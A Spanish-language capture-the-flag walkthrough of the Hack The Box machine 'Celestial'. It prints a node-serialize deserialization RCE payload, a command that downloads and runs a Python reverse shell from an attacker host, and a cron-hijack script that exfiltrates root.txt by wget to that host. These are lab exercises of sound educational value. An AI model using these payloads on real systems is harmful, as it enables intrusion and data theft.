[HTB write-up] Celestial


00 - recon

[*] - nmap

Nmap solo muestra el puerto 3000. Con un servidor Node.js a la escucha.


[*] – burp suite
 
Si llamamos con un GET y con la cookie que nos da el server tenemos un mensaje un tanto loco:


2+2 es 22 si.. si lo tomas como un char. Veamos que tiene esa cookie que viene codificada en base64. Darse cuenta también que burp nos está dando el ‘=’ como ‘%3D’ (al final).


Si observamos esos 4 valores rápidamente nos vamos al 2, que si nos da por modificar su valor, a un 5 por ejemplo, nos devolverá: Hey Dummy 5 + 5 is 55. Lo dicho, num se está tomando como un string y se está mostrando por pantalla.

Hay algo mas de info si rompemos el base64 y se lo mandamos...


[*] - node-serialize

Buscando un poco damos con algunos ‘pocs’ de explotación en la función unserialize() del módulo node-serialize:

https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/

https://blog.websecurify.com/2017/02/hacking-node-serialize.html

En definitiva, si al server le diera por pasar alguno de los parámetros que manejamos en la cookie por la función eval() podríamos tener ejecución de código, y esa suma de strings que hace (‘num+num’) tiene pintaza!

01 – gain_access

[*] – testing unserlize()

No soy un experto en js y esta parte me ha costado probar unas cuantas veces. Pero finalmente di con la siguiente estructura válida.
_$$ND_FUNC$$_function (){
    eval(require('child_process').exec('wget http://10.10.15.214/test', function(error, stdout, stderr) {
        console.log(stdout)
    }))
}()


Eso funciona, tenemos RCE!
 
[*] – python reverse shell

En este momento tenemos mil maneras de ganar shell, vamos a ir por la vía fácil. Concatenando comandos vamos a descargar en el server una reverse shell en python y que se ejecute. Podemos concatenar comandos con ‘;’
_$$ND_FUNC$$_function (){
    eval(require('child_process').exec('wget http://10.10.15.214/sh3ll.py -O /dev/shm/r0s4.py | bash;python
/dev/shm/r0s4.py | bash', function(error, stdout, stderr) {
    console.log(stdout)
    }))
}()


 [*] – user sun
 
Buscando el archivo user.txt llegamos a la carpeta ~/Documents donde encontramos un script en python de nuestro user, al que si le hacemos un cat podemos leer: print "Script is running...". Esto no parece ser suficiente para escalar a ningún sitio, pero si nos fijamos en el home hay un archivo interesante. ~/output.txt


Ese archivo si es de root y tiene el string que estaba imprimiendo ~/Documents/script.py ... se masca la tragedia.

[*]– group adm

Resulta curioso que el user sun pertenezca al grupo adm, y si buscamos que permisos extra nos aporta esto sobre algún archivo damos con algunos reportes en /var/log/ entre ellos ‘syslog’

Apr 14 11:35:01 sun CRON[4150]: (root) CMD (python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py
/home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d
"$(date -R -r /home/sun/Documents/user.txt)"

Apr 14 11:40:01 sun CRON[4421]: (root) CMD (python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py
/home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d
"$(date -R -r /home/sun/Documents/user.txt)"

Se venia suponiendo; root ejecuta scrypt.py y vuelca su salida en output.txt, después hace una copia del /root/script.py en ~/Documents/script.py y le cambia los permisos de user y group para sun. Todo esto cada 5 minutos. Muy bien admin...

02 – privesc!!

Esto ya está fácil, cuestión de modificar script.py y esperar 5 minutos. Vamos a mandarnos la flag de root y nos piramos. Como hay mucha gente “jodiendo” hay que estar rápido a la hora de sustituir el script, la peña está esperando al ultimo segundo para dar el cambiazo... es gracioso. Voy a hostearme mi propuesta de script y hago un wget en el momento justo:

script.py
#!/usr/bin/env python
import os
os.system('wget http://10.10.15.214/$(cat /root/root.txt)')
print "f4ckU"


Hago “rm script.py; wget http://mi-ip/script.py” justo a las 12:05:00, el mismo servidor http que está hosteando el script.py será quien reciba una petición con el contenido de root.txt.


Toma puntería!

Contribución gracias a @Dr.Zaiuss

3 comentarios :

  1. Respuestas
    1. Es en https://www.hackthebox.eu/ y no, no se pueden descargar

      Eliminar
    2. en HTB tienes la opción de pago, por la cual si que puedes realizar máquinas retiradas. No se pueden descargar, pero si hacerlas.

      Eliminar